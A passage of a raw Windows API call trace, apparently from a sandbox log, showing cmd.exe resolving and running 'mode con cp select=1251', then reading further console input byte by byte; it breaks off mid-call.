_wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0257.128] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0257.128] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0257.128] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0257.128] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0257.128] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0257.128] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0257.128] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0257.128] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0257.128] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0257.128] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0257.128] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0257.128] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0257.128] _wcsicmp (_String1="mode", _String2="START") returned -6 [0257.128] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0257.128] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0257.128] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0257.128] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0257.128] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0257.128] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0257.128] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0257.128] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0257.128] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0257.128] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0257.128] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0257.128] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0257.128] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0257.128] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0257.128] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0257.128] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0257.128] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0257.128] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0257.128] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0257.128] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0257.128] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0257.128] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0257.128] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0257.128] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0257.128] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0257.128] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0257.128] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0257.128] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0257.128] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0257.128] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0257.128] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0257.129] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0257.129] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0257.129] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0257.129] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0257.129] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0257.129] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0257.129] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0257.129] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0257.129] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0257.129] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0257.129] _wcsicmp (_String1="mode", _String2="START") returned -6 [0257.129] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0257.129] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0257.129] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0257.129] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0257.129] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0257.129] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0257.129] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0257.129] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0257.129] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0257.129] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0257.129] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0257.129] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0257.129] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0257.129] GetProcessHeap () returned 0x270000 [0257.129] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aae0 [0257.129] GetProcessHeap () returned 0x270000 [0257.129] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x42) returned 0x289900 [0257.129] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0257.129] GetProcessHeap () returned 0x270000 [0257.129] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x28b310 [0257.129] SetErrorMode (uMode=0x0) returned 0x0 [0257.129] SetErrorMode (uMode=0x1) returned 0x0 [0257.130] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x28b320, lpFilePart=0x1ef260 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ef260*="system32") returned 0x13 [0257.130] SetErrorMode (uMode=0x0) returned 0x1 [0257.130] GetProcessHeap () returned 0x270000 [0257.130] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28b310, Size=0x42) returned 0x28b310 [0257.130] GetProcessHeap () returned 0x270000 [0257.130] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b310) returned 0x42 [0257.130] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0257.130] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0257.130] GetProcessHeap () returned 0x270000 [0257.130] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x285bb0 [0257.130] GetProcessHeap () returned 0x270000 [0257.130] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x289c60 [0257.134] GetProcessHeap () returned 0x270000 [0257.134] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289c60, Size=0x106) returned 0x289c60 [0257.134] GetProcessHeap () returned 0x270000 [0257.134] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289c60) returned 0x106 [0257.134] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0257.134] GetProcessHeap () returned 0x270000 [0257.134] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x289d80 [0257.134] GetProcessHeap () returned 0x270000 [0257.134] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289d80, Size=0x7e) returned 0x289d80 [0257.134] GetProcessHeap () returned 0x270000 [0257.135] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289d80) returned 0x7e [0257.136] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0257.136] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1eefd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefd0) returned 0x285cc0 [0257.136] GetProcessHeap () returned 0x270000 [0257.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x28) returned 0x284660 [0257.136] FindClose (in: hFindFile=0x285cc0 | out: hFindFile=0x285cc0) returned 1 [0257.136] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x1eefd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefd0) returned 0x285cc0 [0257.136] GetProcessHeap () returned 0x270000 [0257.136] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x284660, Size=0x8) returned 0x289950 [0257.136] FindClose (in: hFindFile=0x285cc0 | out: hFindFile=0x285cc0) returned 1 [0257.136] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0257.136] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0257.136] GetConsoleTitleW (in: lpConsoleTitle=0x1ef520, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.136] GetProcessHeap () returned 0x270000 [0257.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x28b370 [0257.136] GetConsoleTitleW (in: lpConsoleTitle=0x28b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.136] GetProcessHeap () returned 0x270000 [0257.136] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28b370, Size=0x8a) returned 0x28b370 [0257.136] GetProcessHeap () returned 0x270000 [0257.136] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b370) returned 0x8a [0257.136] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0257.137] GetProcessHeap () returned 0x270000 [0257.137] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b370 | out: hHeap=0x270000) returned 1 [0257.137] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef2d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef298 | out: lpAttributeList=0x1ef2d8, lpSize=0x1ef298) returned 1 [0257.137] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef2d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef288, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef2d8, lpPreviousValue=0x0) returned 1 [0257.137] GetStartupInfoW (in: lpStartupInfo=0x1ef3f0 | out: lpStartupInfo=0x1ef3f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0257.137] GetProcessHeap () returned 0x270000 [0257.137] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284660 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0257.137] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0257.138] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0257.138] GetProcessHeap () returned 0x270000 [0257.138] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284660 | out: hHeap=0x270000) returned 1 [0257.138] GetProcessHeap () returned 0x270000 [0257.138] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288940 [0257.138] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1ef310*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef2c0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x1ef2c0*(hProcess=0x54, hThread=0x50, dwProcessId=0x6d0, dwThreadId=0x6d4)) returned 1 [0257.143] CloseHandle (hObject=0x50) returned 1 [0257.144] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0257.144] GetProcessHeap () returned 0x270000 [0257.144] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288aa0 | out: hHeap=0x270000) returned 1 [0257.144] GetEnvironmentStringsW () returned 0x288aa0* [0257.144] GetProcessHeap () returned 0x270000 [0257.144] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xafc) returned 0x28b370 [0257.144] FreeEnvironmentStringsW (penv=0x288aa0) returned 1 [0257.144] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f20000 [0257.144] GetProcAddress (hModule=0x76f20000, lpProcName="NtQueryInformationProcess") returned 0x76f714a0 [0257.144] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1eebc8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1eebc8, ReturnLength=0x0) returned 0x0 [0257.144] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1eec00, nSize=0x380, lpNumberOfBytesRead=0x1eebc0 | out: lpBuffer=0x1eec00*, lpNumberOfBytesRead=0x1eebc0*=0x380) returned 1 [0257.144] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0257.833] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1ef208 | out: lpExitCode=0x1ef208*=0x0) returned 1 [0257.833] CloseHandle (hObject=0x54) returned 1 [0257.833] _vsnwprintf (in: _Buffer=0x1ef478, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ef218 | out: _Buffer="00000000") returned 8 [0257.833] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0257.833] GetProcessHeap () returned 0x270000 [0257.833] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b370 | out: hHeap=0x270000) returned 1 [0257.833] GetEnvironmentStringsW () returned 0x28e9b0* [0257.833] GetProcessHeap () returned 0x270000 [0257.833] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb22) returned 0x28f4e0 [0257.833] FreeEnvironmentStringsW (penv=0x28e9b0) returned 1 [0257.833] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0257.833] GetProcessHeap () returned 0x270000 [0257.833] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f4e0 | out: hHeap=0x270000) returned 1 [0257.833] GetEnvironmentStringsW () returned 0x28e9b0* [0257.833] GetProcessHeap () returned 0x270000 [0257.833] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb22) returned 0x28f4e0 [0257.833] FreeEnvironmentStringsW (penv=0x28e9b0) returned 1 [0257.833] GetProcessHeap () returned 0x270000 [0257.833] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288940 | out: hHeap=0x270000) returned 1 [0257.833] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef2d8 | out: lpAttributeList=0x1ef2d8) [0257.833] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0257.834] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.834] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0257.834] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.834] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a00e194 | out: lpMode=0x4a00e194) returned 0 [0257.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.834] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a00e198 | out: lpMode=0x4a00e198) returned 0 [0257.834] GetConsoleOutputCP () returned 0x4e3 [0257.834] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0257.835] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289d80 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c60 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285bb0 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b310 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289900 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aae0 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286550 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284630 | out: hHeap=0x270000) returned 1 [0257.835] GetProcessHeap () returned 0x270000 [0257.835] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289840 | out: hHeap=0x270000) returned 1 [0257.835] _vsnwprintf (in: _Buffer=0x4a026340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef738 | out: _Buffer="\r\n") returned 2 [0257.835] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.835] GetFileType (hFile=0xf4) returned 0x3 [0257.835] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.835] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0257.835] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef708, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1ef708*=0x2, lpOverlapped=0x0) returned 1 [0257.835] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0257.835] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a01c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0257.835] _vsnwprintf (in: _Buffer=0x4a00eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ef748 | out: _Buffer="C:\\Windows\\system32") returned 19 [0257.835] _vsnwprintf (in: _Buffer=0x4a00eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1ef748 | out: _Buffer=">") returned 1 [0257.835] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.836] GetFileType (hFile=0xf4) returned 0x3 [0257.836] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.836] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0257.836] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1ef738, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1ef738*=0x14, lpOverlapped=0x0) returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] GetFileType (hFile=0xe8) returned 0x3 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 